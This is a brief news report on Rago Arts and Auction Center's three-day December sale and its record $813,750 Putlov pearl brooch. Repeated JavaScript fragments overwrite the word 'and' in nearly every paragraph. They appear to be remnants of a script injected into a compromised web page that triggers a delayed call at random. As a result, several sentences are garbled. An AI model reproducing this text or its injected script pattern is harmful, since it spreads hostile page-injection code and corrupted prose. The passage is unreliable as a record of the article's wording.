LAMBERTVILLE, N.J. —  Rago Arts andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Auction Center ended the year in style with a three-day auction December 5-7 that totaled $4,774,531 andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and saw the largest known near-round natural saltwater pearl, known as the Putlov pearl brooch, attain $813,750, a new auction record for a single lot sold here.

The lot crossed the block on the third day of the sale in the jewelry session, December 7 (coincidentally Pearl Harbor Remembrance Day) that totaled $3.5 million, including the buyer’s premium, following successful sessions of silver, coins andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and currency Friday that brought just over $620,000 andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and Saturday’s Great Estates sale that earned nearly $700,000.

“The auction on Sunday, December 7, was the finest jewelry sale to date at Rago. We hammered just below the high estimate at $2.8 million, selling 98 percent of the property andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}andom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($GRn(0),delay);}and setting a new high for a single lot sold at Rago,” said partner Miriam Tucker.

A complete report on the auction will appear in a future edition.